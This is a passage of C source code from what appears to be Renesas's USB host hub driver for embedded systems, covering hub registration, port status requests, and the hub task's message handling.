reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hHubsys.c\n* Description : USB Host Hub system code\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_api.h\"\n\n\n/* Condition compilation by the difference of USB function */\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n/* Condition compilation by the difference of the devices */\n#if USB_PORTSEL_PP == USB_1PORT_PP\n#define USB_MAXHUB (uint16_t)1\n#endif /* USB_1PORT_PP */\n/* Condition compilation by the difference of the devices */\n#if USB_PORTSEL_PP == USB_2PORT_PP\n#define USB_MAXHUB (uint16_t)2\n#endif /* USB_2PORT_PP */\n\n#define USB_HUB_CLSDATASIZE (uint16_t)512\n#define USB_HUB_QOVR (uint16_t)0xFFFE\n\n#define USB_BIT_PORT_CONNECTION (0x00000001u)\n#define USB_BIT_PORT_ENABLE (0x00000002u)\n#define USB_BIT_PORT_SUSPEND (0x00000004u)\n#define USB_BIT_PORT_OVER_CURRENT (0x00000008u)\n#define USB_BIT_PORT_RESET (0x00000010u)\n#define USB_BIT_PORT_POWER (0x00000100u)\n#define USB_BIT_PORT_LOW_SPEED (0x00000200u)\n#define USB_BIT_C_PORT_CONNECTION (0x00010000u)\n#define USB_BIT_C_PORT_ENABLE (0x00020000u)\n#define USB_BIT_C_PORT_SUSPEND (0x00040000u)\n#define USB_BIT_C_PORT_OVER_CURRENT (0x00080000u)\n#define USB_BIT_C_PORT_RESET (0x00100000u)\n\n/******************************************************************************\nTypedef definitions\n******************************************************************************/\ntypedef struct USB_HUB_INFO\n{\n uint16_t up_addr; /* Up-address */\n uint16_t up_port_num; /* Up-port num */\n uint16_t port_num; /* Port number */\n uint16_t pipe_num; /* Pipe number */\n} USB_HUB_INFO_t;\n\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nextern void (*usb_ghstd_EnumarationProcess[])(USB_UTR_t *, uint16_t,uint16_t);\nextern uint16_t usb_hreg_read_devadd( USB_UTR_t *ptr, uint16_t devadr );\n\n\n/* Enumeration request */\n//extern uint16_t usb_ghstd_EnumSeq[2u];\nextern uint8_t usb_ghstd_ClassData[][512];\n\n/******************************************************************************\nStatic variables and functions\n******************************************************************************/\nstatic uint16_t usb_hhub_ChkConfig(uint16_t **table, uint16_t spec);\nstatic uint16_t usb_hhub_ChkInterface(uint16_t **table, uint16_t spec);\nstatic uint16_t usb_hhub_pipe_info(USB_UTR_t *ptr, uint8_t *table, uint16_t offset\n , uint16_t speed, uint16_t length);\nstatic void usb_hhub_port_detach(USB_UTR_t *ptr, uint16_t hubaddr, uint16_t portnum);\nstatic void usb_hhub_selective_detach(USB_UTR_t *ptr, uint16_t devaddr);\nstatic void usb_hhub_trans_start(USB_UTR_t *ptr, uint16_t hubaddr, uint32_t size\n , uint8_t *table, USB_CB_t complete);\nstatic void usb_hhub_trans_complete(USB_UTR_t *mess, uint16_t, uint16_t);\nstatic uint16_t usb_hhub_GetNewDevaddr(USB_UTR_t *ptr);\nstatic uint16_t usb_hhub_GetHubaddr(USB_UTR_t *ptr, uint16_t pipenum);\nstatic uint16_t usb_hhub_GetCnnDevaddr(USB_UTR_t *ptr, uint16_t hubaddr, uint16_t portnum);\nstatic uint16_t usb_hhub_ChkTblIndx1(USB_UTR_t *ptr, uint16_t hubaddr);\nstatic uint16_t usb_hhub_ChkTblIndx2(USB_UTR_t *ptr, uint16_t hubaddr);\nstatic uint16_t usb_hhub_PortSetFeature(USB_UTR_t *ptr, uint16_t hubaddr, uint16_t port\n , uint16_t command, USB_CB_t complete);\nstatic uint16_t usb_hhub_PortClrFeature(USB_UTR_t *ptr, uint16_t hubaddr, uint16_t port\n , uint16_t command, USB_CB_t complete);\nstatic void usb_hhub_InitDownPort(USB_UTR_t *ptr, uint16_t hubaddr, USB_CLSINFO_t *mess);\nstatic void usb_hhub_new_connect(USB_UTR_t *ptr, uint16_t hubaddr, uint16_t portnum, USB_CLSINFO_t *mess);\nstatic uint16_t usb_hhub_PortAttach(uint16_t hubaddr, uint16_t portnum, USB_CLSINFO_t *mess);\nstatic void usb_hhub_port_reset(USB_UTR_t *ptr, uint16_t hubaddr, uint16_t portnum, USB_CLSINFO_t *mess);\nstatic void usb_hhub_enumeration(USB_CLSINFO_t *mess);\nstatic void usb_hhub_event(USB_CLSINFO_t *mess);\nstatic void usb_hhub_SpecifiedPath(USB_CLSINFO_t *mess);\nstatic void usb_hhub_SpecifiedPathWait(USB_CLSINFO_t *mess, uint16_t times);\nstatic void usb_hhub_class_request_complete(USB_UTR_t *mess, uint16_t, uint16_t);\nstatic void usb_hhub_CheckRequest(USB_UTR_t *ptr, uint16_t result);\n void usb_hhub_initial(USB_UTR_t *ptr, uint16_t data1, uint16_t data2);\nstatic uint16_t usb_hhub_request_result(uint16_t checkerr);\nstatic void usb_hstd_DeviceDescripInfo(USB_UTR_t *ptr);\nstatic void usb_hstd_ConfigDescripInfo(USB_UTR_t *ptr);\n void usb_hstd_EndpDescripInfo(uint8_t *tbl);\n void usb_hhub_check_class(USB_UTR_t *ptr, uint16_t **table);\n void usb_hhub_Task(USB_VP_INT stacd);\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n/* Control transfer message */\nUSB_UTR_t usb_shhub_ControlMess[USB_NUM_USBIP];\n/* Data transfer message */\nUSB_UTR_t usb_shhub_DataMess[USB_NUM_USBIP][USB_MAXDEVADDR + 1u];\n/* HUB descriptor */\nuint8_t usb_ghhub_Descriptor[USB_NUM_USBIP][USB_CONFIGSIZE];\n/* HUB status data */\nuint8_t usb_ghhub_Data[USB_NUM_USBIP][USB_MAXDEVADDR + 1u][8];\n/* HUB downport status */\nuint16_t usb_shhub_DownPort[USB_NUM_USBIP][USB_MAXDEVADDR + 1u];\n/* Downport remotewakeup */\nuint16_t usb_shhub_Remote[USB_NUM_USBIP][USB_MAXDEVADDR + 1u];\n/* Up-hubaddr, up-hubport, portnum, pipenum */\nUSB_HUB_INFO_t usb_shhub_InfoData[USB_NUM_USBIP][USB_MAXDEVADDR + 1u];\nuint16_t usb_shhub_Number[USB_NUM_USBIP];\nuint16_t usb_shhub_ClassRequest[USB_NUM_USBIP][5];\n\nuint16_t usb_hstd_GetStringDescriptor1(USB_UTR_t *ptr, uint16_t devaddr, uint16_t index, USB_CB_t complete);\nuint16_t usb_hstd_GetStringDescriptor1Check(uint16_t errcheck);\nuint16_t usb_hstd_GetStringDescriptor2(USB_UTR_t *ptr, uint16_t devaddr, uint16_t index, USB_CB_t complete);\nuint16_t usb_hstd_GetStringDescriptor2Check(uint16_t errcheck);\n\n/* Condition compilation by the difference of USB function */\n#if USB_NUM_USBIP == 2\nuint16_t usb_shhub_ClassSeq[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shhub_InitSeq[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shhub_InitPort[USB_NUM_USBIP] = { USB_HUB_P1, USB_HUB_P1 };\nuint16_t usb_shhub_EventSeq[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shhub_EventPort[USB_NUM_USBIP] = { USB_HUB_P1, USB_HUB_P1 };\nuint16_t usb_shhub_AttachSeq[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shhub_ResetSeq[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shhub_State[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shhub_Info[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shhub_HubAddr[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\nuint16_t usb_shhub_Process[USB_NUM_USBIP] = { USB_SEQ_0, USB_SEQ_0 };\n#else /* USB_NUM_USBIP == 2 */\nuint16_t usb_shhub_ClassSeq[USB_NUM_USBIP] = { USB_SEQ_0 };\nuint16_t usb_shhub_InitSeq[USB_NUM_USBIP] = { USB_SEQ_0 };\nuint16_t usb_shhub_InitPort[USB_NUM_USBIP] = { USB_HUB_P1 };\nuint16_t usb_shhub_EventSeq[USB_NUM_USBIP] = { USB_SEQ_0 };\nuint16_t usb_shhub_EventPort[USB_NUM_USBIP] = { USB_HUB_P1 };\nuint16_t usb_shhub_AttachSeq[USB_NUM_USBIP] = { USB_SEQ_0 };\nuint16_t usb_shhub_ResetSeq[USB_NUM_USBIP] = { USB_SEQ_0 };\nuint16_t usb_shhub_State[USB_NUM_USBIP] = { USB_SEQ_0 };\nuint16_t usb_shhub_Info[USB_NUM_USBIP] = { USB_SEQ_0 };\nuint16_t usb_shhub_HubAddr[USB_NUM_USBIP] = { USB_SEQ_0 };\nuint16_t usb_shhub_Process[USB_NUM_USBIP] = { USB_SEQ_0 };\n#endif /* USB_NUM_USBIP == 2 */\n\nuint8_t *usb_shhub_DeviceTable[USB_NUM_USBIP];\nuint8_t *usb_shhub_ConfigTable[USB_NUM_USBIP];\nuint8_t *usb_shhub_InterfaceTable[USB_NUM_USBIP];\nuint16_t usb_shhub_Spec[USB_NUM_USBIP];\nuint16_t usb_shhub_Root[USB_NUM_USBIP];\nuint16_t usb_shhub_Speed[USB_NUM_USBIP];\nuint16_t usb_shhub_DevAddr[USB_NUM_USBIP];\nuint16_t usb_shhub_Index[USB_NUM_USBIP];\n\nconst uint16_t usb_ghhub_TPL[4] =\n{\n 1, /* Number of list */\n 0, /* Reserved */\n USB_NOVENDOR, /* Vendor ID : no-check */\n USB_NOPRODUCT, /* Product ID : no-check */\n};\n\n/* Host hub Pipe Information Table (endpoint table) definition */\nuint16_t usb_ghhub_DefEPTbl[USB_NUM_USBIP][USB_EPL +1] =\n{\n {\n /* PIPE9 Definition */\n USB_PIPE9,\n USB_NONE | USB_BFREOFF | USB_DBLBOFF | USB_CNTMDOFF | USB_SHTNAKOFF\n | USB_NONE | USB_NONE,\n (uint16_t)USB_BUF_SIZE(64u) | USB_BUF_NUMB(7u),\n USB_NONE,\n USB_NONE,\n USB_CUSE,\n/* Pipe end */\n USB_PDTBLEND,\n },\n#if USB_NUM_USBIP == 2\n {\n /* PIPE9 Definition */\n USB_PIPE9,\n USB_NONE | USB_BFREOFF | USB_DBLBOFF | USB_CNTMDOFF | USB_SHTNAKOFF\n | USB_NONE | USB_NONE,\n (uint16_t)USB_BUF_SIZE(64u) | USB_BUF_NUMB(7u),\n USB_NONE,\n USB_NONE,\n USB_CUSE,\n/* Pipe end */\n USB_PDTBLEND,\n }\n#endif /* USB_NUM_USBIP == 2 */\n};\n\n/* Host hub temporary Pipe Information Table (\"endpoint table\") definition */\nuint16_t usb_ghhub_TmpEPTbl[USB_NUM_USBIP][USB_EPL +1] =\n{\n {\n /* PIPE9 Definition */\n USB_PIPE9,\n USB_NONE | USB_BFREOFF | USB_DBLBOFF | USB_CNTMDOFF | USB_SHTNAKOFF\n | USB_NONE | USB_NONE,\n (uint16_t)USB_BUF_SIZE(64u) | USB_BUF_NUMB(7u),\n USB_NONE,\n USB_NONE,\n USB_CUSE,\n/* Pipe end */\n USB_PDTBLEND,\n },\n#if USB_NUM_USBIP == 2\n {\n /* PIPE9 Definition */\n USB_PIPE9,\n USB_NONE | USB_BFREOFF | USB_DBLBOFF | USB_CNTMDOFF | USB_SHTNAKOFF\n | USB_NONE | USB_NONE,\n (uint16_t)USB_BUF_SIZE(64u) | USB_BUF_NUMB(7u),\n USB_NONE,\n USB_NONE,\n USB_CUSE,\n/* Pipe end */\n USB_PDTBLEND,\n }\n#endif /* USB_NUM_USBIP == 2 */\n};\n\n\n/******************************************************************************\nRenesas Abstracted Hub Driver API functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_hhub_Task\nDescription : Call HUB task\nArguments : USB_VP_INT stacd : Start Code of Hub Task\nReturn value : none\n******************************************************************************/\nvoid R_usb_hhub_Task(USB_VP_INT stacd)\n{\n usb_hhub_Task( stacd );\n} /* eof R_usb_hhub_Task() */\n\n/******************************************************************************\nFunction Name : R_usb_hhub_Open\nDescription : HUB sys open\nArguments : uint16_t devaddr : device address\n : uint16_t data2 : Not use\nReturn value : USB_ER_t : Error Info\n******************************************************************************/\nvoid R_usb_hhub_Open(USB_UTR_t *ptr, uint16_t devaddr, uint16_t data2)\n{\n USB_ER_t err, err2;\n USB_MH_t p_blf;\n USB_MGRINFO_t *mp;\n uint16_t hubaddr, index;\n\n err = USB_ERROR;\n hubaddr = (uint16_t)(devaddr << USB_DEVADDRBIT);\n index = usb_hhub_ChkTblIndx1(ptr, devaddr);\n\n if( USB_MAXHUB != usb_shhub_Number[ptr->ip] )\n {\n /* Wait 10ms */\n usb_cpu_DelayXms((uint16_t)10);\n err = USB_PGET_BLK(USB_HUB_MPL, &p_blf);\n if( USB_E_OK == err )\n {\n mp = (USB_MGRINFO_t*)p_blf;\n mp->msghead = (USB_MH_t)USB_NULL;\n mp->msginfo = USB_MSG_CLS_INIT;\n mp->keyword = devaddr;\n\n mp->ipp = ptr->ipp;\n mp->ip = ptr->ip;\n\n /* Send message */\n err = USB_SND_MSG(USB_HUB_MBX, (USB_MSG_t*)p_blf);\n if( USB_E_OK != err )\n {\n /* Send Message failure */\n USB_PRINTF1(\"### hHubOpen snd_msg error (%ld)\\n\", err);\n err2 = USB_REL_BLK(USB_HUB_MPL,(USB_MH_t)p_blf);\n if( err2 != USB_E_OK )\n {\n USB_PRINTF1(\"### hHubOpen rel_blk error (%ld)\\n\", err2);\n }\n }\n }\n else\n {\n /* Release memory block failure */\n USB_PRINTF1(\"### hHubOpen pget_blk error (%ld)\\n\", err);\n while( 1 );\n }\n /* Pipe number set */\n usb_shhub_InfoData[ptr->ip][devaddr].pipe_num = usb_ghhub_TmpEPTbl[ptr->ip][index];\n /* HUB downport status */\n usb_shhub_DownPort[ptr->ip][devaddr] = 0;\n /* Downport remotewakeup */\n usb_shhub_Remote[ptr->ip][devaddr] = 0;\n usb_ghhub_TmpEPTbl[ptr->ip][index+3] |= hubaddr;\n R_usb_hstd_SetPipeInfo(&usb_ghhub_DefEPTbl[ptr->ip][index],\n &usb_ghhub_TmpEPTbl[ptr->ip][index], (uint16_t)USB_EPL);\n\n usb_shhub_Process[ptr->ip] = USB_MSG_CLS_INIT;\n R_usb_hstd_SetPipeRegistration(ptr, (uint16_t*)&usb_ghhub_DefEPTbl[ptr->ip],\n usb_ghhub_DefEPTbl[ptr->ip][index]);\n\n usb_shhub_Number[ptr->ip]++;\n }\n} /* eof R_usb_hhub_Open() */\n\n\n/******************************************************************************\nFunction Name : R_usb_hhub_Close\nDescription : HUB sys close\nArguments : uint16_t hubaddr : hub address\n : uint16_t data2 : Not use\nReturn value : USB_ER_t : Error Info\n******************************************************************************/\nvoid R_usb_hhub_Close(USB_UTR_t *ptr, uint16_t hubaddr, uint16_t data2)\n{\n uint16_t md, i;\n USB_HCDREG_t *driver;\n uint16_t devaddr, index;\n\n for( i = 1; i <= usb_shhub_InfoData[ptr->ip][hubaddr].port_num; i++ )\n {\n /* Now downport device search */\n devaddr = usb_hhub_GetCnnDevaddr(ptr, hubaddr, i);\n if( 0 != devaddr )\n {\n /* HUB down port selective disconnect */\n usb_hhub_selective_detach(ptr, devaddr);\n for( md = 0; md < usb_ghstd_DeviceNum[ptr->ip]; md++ )\n {\n driver = &usb_ghstd_DeviceDrv[ptr->ip][md];\n if( devaddr == driver->devaddr )\n {\n (*driver->devdetach)(ptr, driver->devaddr, (uint16_t)USB_NO_ARG);\n /* Root port */\n driver->rootport = USB_NOPORT;\n /* Device devaddress */\n driver->devaddr = USB_NODEVICE;\n /* Device state */\n driver->devstate = USB_DETACHED;\n }\n }\n }\n }\n\n usb_shhub_Number[ptr->ip]--;\n index = usb_hhub_ChkTblIndx2(ptr, hubaddr);\n\n /* Set pipe information */\n for(i = 1; i <= USB_MAXDEVADDR ; i++)\n {\n usb_shhub_InfoData[ptr->ip][i].up_addr = 0; /* Up-address clear */\n usb_shhub_InfoData[ptr->ip][i].up_port_num = 0; /* Up-port num clear */\n usb_shhub_InfoData[ptr->ip][i].port_num = 0; /* Port number clear */\n usb_shhub_InfoData[ptr->ip][i].pipe_num = 0; /* Pipe number clear */\n }\n\n usb_shhub_DownPort[ptr->ip][hubaddr] = 0;\n usb_shhub_Remote[ptr->ip][hubaddr] = 0;\n usb_ghhub_DefEPTbl[ptr->ip][index + 1] = USB_NONE;\n usb_ghhub_DefEPTbl[ptr->ip][index + 3] = USB_NONE;\n usb_ghhub_DefEPTbl[ptr->ip][index + 4] = USB_NONE;\n usb_ghhub_TmpEPTbl[ptr->ip][index + 1] = USB_NONE;\n usb_ghhub_TmpEPTbl[ptr->ip][index + 3] = USB_NONE;\n usb_ghhub_TmpEPTbl[ptr->ip][index + 4] = USB_NONE;\n\n} /* eof R_usb_hhub_Close() */\n\n\n/******************************************************************************\nFunction Name : R_usb_hhub_Registration\nDescription : HUB driver\nArguments : USB_HCDREG_t *callback\nReturn value : none\n******************************************************************************/\nvoid R_usb_hhub_Registration(USB_UTR_t *ptr, USB_HCDREG_t *callback)\n{\n USB_HCDREG_t driver;\n\n /* Driver registration */\n if( USB_NULL == callback )\n {\n /* Target peripheral list */\n driver.tpl = (uint16_t*)&usb_ghhub_TPL[0];\n /* Pipe Information Table Define address */\n driver.pipetbl = (uint16_t*)&usb_ghhub_DefEPTbl[ptr->ip];\n }\n else\n {\n /* Target peripheral list */\n driver.tpl = callback->tpl;\n /* Pipe Define Table address */\n driver.pipetbl = callback->pipetbl;\n }\n /* Interface Class */\n driver.ifclass = (uint16_t)USB_IFCLS_HUB;\n /* Driver init */\n driver.classinit = &usb_hhub_initial;\n /* Driver check */\n driver.classcheck = &usb_hhub_check_class;\n /* Device configured */\n driver.devconfig = (USB_CB_t)&R_usb_hhub_Open;\n /* Device detach */\n driver.devdetach = (USB_CB_t)&R_usb_hhub_Close;\n /* Device suspend */\n driver.devsuspend = &usb_cstd_DummyFunction;\n /* Device resume */\n driver.devresume = &usb_cstd_DummyFunction;\n\n R_usb_hstd_DriverRegistration(ptr, (USB_HCDREG_t *)&driver);\n} /* eof R_usb_hhub_Registration() */\n\n\n/******************************************************************************\nFunction Name : R_usb_hhub_GetHubInformation\nDescription : Read HUB-Descriptor\nArguments : uint16_t hubaddr : hub address\n : USB_CB_t complete : callback function\nReturn value : uint16_t : DONE/ERROR\n******************************************************************************/\nuint16_t R_usb_hhub_GetHubInformation(USB_UTR_t *ptr, uint16_t hubaddr, USB_CB_t complete)\n{\n USB_ER_t qerr;\n\n /* Request */\n usb_shhub_ClassRequest[ptr->ip][0] = USB_GET_DESCRIPTOR | USB_DEV_TO_HOST | USB_CLASS | USB_DEVICE;\n usb_shhub_ClassRequest[ptr->ip][1] = USB_HUB_DESCRIPTOR;\n usb_shhub_ClassRequest[ptr->ip][2] = 0;\n usb_shhub_ClassRequest[ptr->ip][3] = 0x0047;\n usb_shhub_ClassRequest[ptr->ip][4] = hubaddr; /* Device address */\n\n /* HUB Descriptor */\n usb_shhub_ControlMess[ptr->ip].keyword = USB_PIPE0;\n usb_shhub_ControlMess[ptr->ip].tranadr = (void*)&usb_ghhub_Descriptor[ptr->ip][0];\n usb_shhub_ControlMess[ptr->ip].tranlen = (uint32_t)usb_shhub_ClassRequest[ptr->ip][3];\n usb_shhub_ControlMess[ptr->ip].setup = usb_shhub_ClassRequest[ptr->ip];\n usb_shhub_ControlMess[ptr->ip].segment = USB_TRAN_END;\n usb_shhub_ControlMess[ptr->ip].complete = complete;\n\n usb_shhub_ControlMess[ptr->ip].ipp = ptr->ipp;\n usb_shhub_ControlMess[ptr->ip].ip = ptr->ip;\n\n /* Transfer start */\n qerr = usb_hstd_TransferStart(&usb_shhub_ControlMess[ptr->ip]);\n if( USB_E_QOVR == qerr )\n {\n return USB_HUB_QOVR;\n }\n\n return USB_DONE;\n} /* eof R_usb_hhub_GetHubInformation() */\n\n\n/******************************************************************************\nFunction Name : R_usb_hhub_GetPortInformation\nDescription : GetStatus request\nArguments : uint16_t hubaddr : hub address\n : uint16_t port : down port number\n : USB_CB_t complete\nReturn value : uint16_t : DONE/ERROR\n******************************************************************************/\nuint16_t R_usb_hhub_GetPortInformation(USB_UTR_t *ptr, uint16_t hubaddr, uint16_t port, USB_CB_t complete)\n{\n USB_ER_t qerr;\n\n /* Request */\n usb_shhub_ClassRequest[ptr->ip][0] = USB_GET_STATUS| USB_DEV_TO_HOST | USB_CLASS | USB_OTHER;\n usb_shhub_ClassRequest[ptr->ip][1] = 0;\n usb_shhub_ClassRequest[ptr->ip][2] = port; /* Port number */\n usb_shhub_ClassRequest[ptr->ip][3] = 4;\n usb_shhub_ClassRequest[ptr->ip][4] = hubaddr; /* Device address */\n\n /* Port GetStatus */\n usb_shhub_ControlMess[ptr->ip].keyword = USB_PIPE0;\n usb_shhub_ControlMess[ptr->ip].tranadr = (void*)&usb_ghhub_Data[ptr->ip][hubaddr][0];\n usb_shhub_ControlMess[ptr->ip].tranlen = (uint32_t)usb_shhub_ClassRequest[ptr->ip][3];\n usb_shhub_ControlMess[ptr->ip].setup = usb_shhub_ClassRequest[ptr->ip];\n usb_shhub_ControlMess[ptr->ip].segment = USB_TRAN_END;\n usb_shhub_ControlMess[ptr->ip].complete = complete;\n\n usb_shhub_ControlMess[ptr->ip].ipp = ptr->ipp;\n usb_shhub_ControlMess[ptr->ip].ip = ptr->ip;\n\n /* Transfer start */\n qerr = R_usb_hstd_TransferStart(&usb_shhub_ControlMess[ptr->ip]);\n if( USB_E_QOVR == qerr )\n {\n return USB_HUB_QOVR;\n }\n\n return USB_DONE;\n} /* eof R_usb_hhub_GetPortInformation() */\n\n\n/******************************************************************************\nFunction Name : R_usb_hhub_get_hub_addr\nDescription : Get connected Hub address from device address.\nArgument : USB_UTR_t *ptr : IP info (mode, IP no, reg. address).\n : uint16_t devadr : Device address\nReturn : 1-10:Hub address / USB_ERROR:Device address error or Hub no connect.\n******************************************************************************/\nuint16_t R_usb_hhub_get_hub_addr(USB_UTR_t *ptr, uint16_t devadr)\n{\n uint16_t ret;\n\n /* Device address check */\n if( ( USB_MAXDEVADDR < devadr ) || ( 0 == devadr ) )\n {\n ret = USB_ERROR; /* Device address error */\n }\n else\n {\n /* Set Hub address */\n ret = usb_shhub_InfoData[ptr->ip][devadr].up_addr;\n /* Hub address check */\n if( ( USB_MAXDEVADDR < ret ) || ( 0 == ret ) )\n {\n ret = USB_ERROR; /* Hub address error */\n }\n }\n\n return ret;\n} /* eof R_usb_hhub_get_hub_addr */\n\n/******************************************************************************\nFunction Name : R_usb_hhub_get_hub_port_no\nDescription : Get Hub connected port no. from device address.\nArgument : USB_UTR_t *ptr : IP info (mode, IP no, reg. address).\n : uint16_t devadr : Device address\nReturn : 1-4:Hub port no. / USB_ERROR:Device address error or Hub no connect.\n******************************************************************************/\nuint16_t R_usb_hhub_get_hub_port_no(USB_UTR_t *ptr, uint16_t devadr)\n{\n uint16_t ret;\n\n /* Device address check */\n if( ( USB_MAXDEVADDR < devadr ) || ( 0 == devadr ) )\n {\n ret = USB_ERROR; /* Device address error */\n }\n else\n {\n /* Set Hub port no */\n ret = usb_shhub_InfoData[ptr->ip][devadr].up_port_num;\n /* Hub port no check */\n if( ( USB_HUBDOWNPORT < ret ) || ( 0 == ret ) )\n {\n ret = USB_ERROR; /* Hub port no error */\n }\n }\n\n return ret;\n} /* eof R_usb_hhub_get_hub_port_no */\n\n/******************************************************************************\nFunction Name : R_usb_hhub_chk_connect_status\nDescription : Device connect check of after GET_STATUS(Get Port Status) complete.\nArgument : USB_UTR_t *ptr : IP info (mode, IP no, reg. address).\n : uint16_t hub_adr : Hub address\nReturn : USB_DEV_NO_CONNECT:No device is present.\n : USB_DEV_CONNECTED:A device is present on this port.\n : USB_ERROR: Hub address error.\n******************************************************************************/\nuint16_t R_usb_hhub_chk_connect_status(USB_UTR_t *ptr, uint16_t hub_adr)\n{\n uint16_t ret;\n\n /* Hub address check */\n if( ( USB_MAXDEVADDR < hub_adr ) || ( 0 == hub_adr ) )\n {\n ret = USB_ERROR; /* Hub address error */\n }\n else\n {\n /* Port Status : Current Connect Status */\n if( usb_ghhub_Data[ptr->ip][hub_adr][0] & USB_BIT0 )\n {\n ret = USB_DEV_CONNECTED; /* A device is present on this port. */\n }\n else\n {\n ret = USB_DEV_NO_CONNECT; /* No device is present. */\n }\n }\n\n return ret;\n} /* eof R_usb_hhub_chk_connect_status */\n\n\n/******************************************************************************\nRenesas Abstracted Hub Driver functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hhub_Task\nDescription : HUB task\nArguments : USB_VP_INT stacd : Start Code of Hub Task\nReturn value : none\n******************************************************************************/\nvoid usb_hhub_Task(USB_VP_INT stacd)\n{\n USB_UTR_t *mess;\n USB_ER_t err;\n/* Condition compilation by the difference of the devices */\n#if USB_PORTSEL_PP == USB_2PORT_PP\n uint16_t elseport;\n#endif /* USB_PORTSEL_PP == USB_2PORT_PP */\n#ifdef FREE_RTOS_PP\n for( ;; )\n\t{\n#endif\n /* Receive message */\n err = USB_TRCV_MSG(USB_HUB_MBX, (USB_MSG_t**)&mess, (USB_TM_t)0);\n if( USB_OK != err )\n {\n#ifdef FREE_RTOS_PP\n\t\tcontinue;\n#else\n return;\n#endif\n }\n\n switch( mess->msginfo )\n {\n case USB_MSG_CLS_CHECKREQUEST:\n /* USB HUB Class Enumeration */\n usb_hhub_enumeration((USB_CLSINFO_t *) mess);\n err = USB_REL_BLK(USB_HUB_MPL,(USB_MH_t)mess);\n if( USB_OK != err )\n {\n /* Release Memoryblock failure */\n USB_PRINTF0(\"### USB HUB Task rel_blk error\\n\");\n }\n break;\n\n case USB_MSG_CLS_INIT:\n /* Down port initialize */\n usb_hhub_InitDownPort(mess, (uint16_t)0, (USB_CLSINFO_t *)mess);\n break;\n /* Enumeration waiting of other device */\n case USB_MSG_CLS_WAIT:\n/* Condition compilation by the difference of the devices */\n#if USB_PORTSEL_PP == USB_2PORT_PP\n elseport = 0;\n if( 0 == mess->keyword )\n {\n elseport = 1;\n }\n if( usb_ghstd_MgrMode[mess->ip][elseport] != USB_DEFAULT )\n {\n mess->msginfo = USB_MSG_MGR_AORDETACH;\n err = USB_SND_MSG( USB_MGR_MBX, (USB_MSG_t*)mess );\n if( USB_OK != err )\n {\n /* Send Message failure */\n USB_PRINTF0(\"### USB HUB enuwait snd_msg error\\n\");\n }\n }\n else\n {\n err = USB_SND_MSG(USB_HUB_MBX, (USB_MSG_t*)mess);\n if( USB_OK != err )\n {\n /* Send Message failure */\n USB_PRINTF0(\"### USB HUB enuwait snd_msg error\\n\");\n }\n }\n#else /* USB_PORTSEL_PP == USB_2PORT_PP */\n mess->msginfo = USB_MSG_MGR_AORDETACH;\n err = USB_SND_MSG( USB_MGR_MBX, (USB_MSG_t*)mess );\n if( USB_OK != err )\n {\n /* Send Message failure */\n USB_PRINTF0(\"### USB HUB enuwait snd_msg error\\n\");\n }\n#endif /* USB_PORTSEL_PP == USB_2PORT_PP */\n break;\n\n case USB_MSG_HUB_EVENT:\n usb_hhub_event((USB_CLSINFO_t *) mess);\n break;\n\n case USB_MSG_HUB_ATTACH:\n /* Hub Port attach */\n usb_hhub_PortAttach((uint16_t)0, (uint16_t)0, (USB_CLSINFO_t *) mess);\n break;\n\n case USB_MSG_HUB_RESET:\n /* Hub Reset */\n usb_hhub_port_reset(mess, (uint16_t)0, (uint16_t)0, (USB_CLSINFO_t *) mess);\n break;\n\n default:\n err = USB_REL_BLK(USB_HUB_MPL,(USB_MH_t)mess);\n if( USB_OK != err )\n {\n USB_PRINTF0(\"### USB HUB rel_blk error\\n\");\n }\n break;\n }\n#ifdef FREE_RTOS_PP\n\t}\n#endif\n} /* eof usb_hhub_Task() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_enumeration\nDescription : USB HUB Class Enumeration\nArguments : USB_CLSINFO_t *ptr : USB system internal message.\nReturn value : none\n******************************************************************************/\nvoid usb_hhub_enumeration(USB_CLSINFO_t *ptr)\n{\n/* Condition compilation by the difference of useful function */\n#if defined(USB_DEBUGUART_PP) || defined(USB_DEBUGPRINT_PP)\n uint8_t pdata[32];\n uint16_t j;\n#endif /* USB_DEBUGUART_PP || USB_DEBUGPRINT_PP */\n uint16_t checkerr,retval;\n uint8_t string;\n uint16_t *table[8];\n\n checkerr = ptr->result;\n table[0] = (uint16_t*)usb_shhub_DeviceTable[ptr->ip];\n table[1] = (uint16_t*)usb_shhub_ConfigTable[ptr->ip];\n table[2] = (uint16_t*)usb_shhub_InterfaceTable[ptr->ip];\n\n /* Manager Mode Change */\n switch( usb_shhub_ClassSeq[ptr->ip] )\n {\n case USB_SEQ_0:\n checkerr = USB_DONE;\n /* Descriptor check */\n retval = usb_hhub_ChkConfig((uint16_t**)&table, (uint16_t)usb_shhub_Spec[ptr->ip]);\n if( USB_ERROR == retval )\n {\n USB_PRINTF0(\"### Configuration descriptor error !\\n\");\n checkerr = USB_ERROR;\n break;\n }\n /* Interface Descriptor check */\n retval = usb_hhub_ChkInterface((uint16_t**)&table, (uint16_t)usb_shhub_Spec[ptr->ip]);\n if( USB_ERROR == retval )\n {\n USB_PRINTF0(\"### Interface descriptor error !\\n\");\n checkerr = 